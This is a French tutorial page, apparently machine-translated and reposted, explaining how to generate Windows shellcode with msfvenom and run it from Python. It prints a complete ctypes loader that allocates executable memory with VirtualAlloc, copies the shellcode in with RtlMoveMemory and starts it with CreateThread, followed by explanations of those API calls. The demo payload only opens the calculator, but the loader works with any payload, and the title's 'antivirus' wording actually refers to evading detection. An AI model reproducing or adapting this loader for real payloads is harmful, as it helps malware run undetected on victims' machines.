Maison > développement back-end > Tutoriel Python > Quelles sont les méthodes de chargement et d'exécution du shellcode de la technologie antivirus Python ?

Quelles sont les méthodes de chargement et d'exécution du shellcode de la technologie antivirus Python ?

WBOY
Libérer: 2023-05-10 08:34:17
avant
1520 Les gens l'ont consulté

0x01 Générer un shellcode

Générez d'abord un shellcode via la commande suivante, utilisez l'option msfvenom -p pour spécifier le paylaod, sélectionnez ici les paramètres reçus par les modules windows/x64 et exec. Utilisez calc.exe pour faire apparaître la calculatrice. L'option -f est utilisée pour exécuter le langage compilé du shellcdoe généré.

msfvenom -p windows/x64/exec CMD='calc.exe' -f py
Copier après la connexion

Quelles sont les méthodes de chargement et dexécution du shellcode de la technologie antivirus Python ?

0x02 Le programme qui charge et exécute le shellcode

Le programme est :

# -*- coding:utf-8 -*-

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

if __name__ == "__main__":
    run1()
Copier après la connexion

0x03 Explication du programme

Importez le module, et le programme alloue de la mémoire et peut effectuer des opérations de lecture et d'écriture.

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Copier après la connexion

Code exécutable régional, lisible et inscriptible

PAGE_EXECUTE_READWRITE = 0x00000040
Copier après la connexion

Allouer de la mémoire

MEM_COMMIT = 0x3000
Copier après la connexion

Donner au processus toutes les autorisations

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Copier après la connexion

Appeler l'api Windows

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread
Copier après la connexion

Attribuer le shellcode généré précédemment au paramètre shellcode et utiliser la fonction bytearray pour le traiter avant d'attribuer

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)
Copier après la connexion

Créez une méthode et appelez-la, demandez de la mémoire, pointez le shellcode vers le pointeur de mémoire alloué, copiez le shellcode dans la mémoire, créez un événement de thread et exécutez :

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
Copier après la connexion

VirtualAlloc est utilisé pour demander de l'espace mémoire et est une fonction de l'API Windows. La déclaration est :

LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的内存区域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的类型
DWORD flProtect // 该内存的初始保护属性
};
Copier après la connexion

RtlMoveMemory copie la mémoire de la mémoire spécifiée vers une autre mémoire. La syntaxe est :

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);
Copier après la connexion

Paramètres :

Destination : Pointeur vers l'adresse de destination du déplacement.
Source : Pointeur vers l'adresse mémoire à copier.
Longueur : Spécifiez le nombre d'octets à copier.

CreateThread est une fonction fournie par Microsoft dans l'API Windows pour créer un nouveau thread. Cette fonction crée un nouveau thread basé sur le thread principal.
Prototype de fonction :

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)
Copier après la connexion

Signification du paramètre

  • lpThreadAttributes : Pointeur vers une structure de type SECURITY_ATTRIBUTES. Ce paramètre est ignoré sous Windows 98. Dans Windows NT, NULL utilise la sécurité par défaut et ne peut pas être hérité par les threads enfants. Sinon, une structure doit être définie pour initialiser son membre bInheritHandle sur TRUE.

  • dwStackSize, définissez la taille initiale de la pile en octets. Si elle est égale à 0, alors la même taille d'espace de pile que le thread appelant cette fonction sera utilisée par défaut. Dans tous les cas, Windows étend dynamiquement la taille de la pile selon les besoins.

  • lpStartAddress, pointeur vers la fonction thread, sous la forme : @nom de la fonction, il n'y a pas de limite sur le nom de la fonction

  • lpParameter : Le paramètre passé à la fonction thread est un pointeur vers la structure Quand non. les paramètres doivent être transmis, c'est NULL .

  • dwCreationFlags : Indicateurs de fil de discussion, les valeurs disponibles sont les suivantes

    • (1) CREATE_SUSPENDED (0x00000004) : Créer un fil de discussion suspendu,

    • (2) 0 : Indique l'activation immédiatement après la création.

    • (3) STACK_SIZE_PARAM_IS_A_RESERVATION (0x00010000) : Le paramètre dwStackSize spécifie la taille initiale de la pile réservée, sinon, dwStackSize spécifie la taille soumise. Cette valeur de balise n'est pas prise en charge sous Windows 2000/NT et Windows Me/98/95.

  • lpThreadId : Enregistrez l'identifiant du nouveau fil de discussion.

    • WaitForSingleObject est une fonction de l'API Windows. Lorsque le handle est fermé alors que l’attente est toujours en attente, le comportement de la fonction n’est pas défini. Le handle doit avoir un accès SYNCHRONIZE.

Déclaration :

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);
Copier après la connexion

hHandle[in] Descripteur d'objet. Vous pouvez spécifier une série d'objets, tels qu'un événement, un travail, une notification de ressource mémoire, un mutex, un processus, un sémaphore, un thread, un minuteur d'attente, etc.

dwMilliseconds[in] Intervalle de temps, l'unité est en millisecondes (millisecondes). Si vous spécifiez une valeur non nulle, la fonction est dans un état d'attente jusqu'à ce que l'objet marqué par hHandle soit déclenché ou que le délai expire. Si dwMilliseconds vaut 0, l'objet n'est pas signalé, la fonction n'entre pas en état d'attente, elle revient toujours immédiatement. Si dwMilliseconds est INFINITE, la fonction ne reviendra pas tant que l'objet n'est pas déclenché.

Exécutez le programme pour faire apparaître la calculatrice avec succès.

Quelles sont les méthodes de chargement et dexécution du shellcode de la technologie antivirus Python ?

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:yisu.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal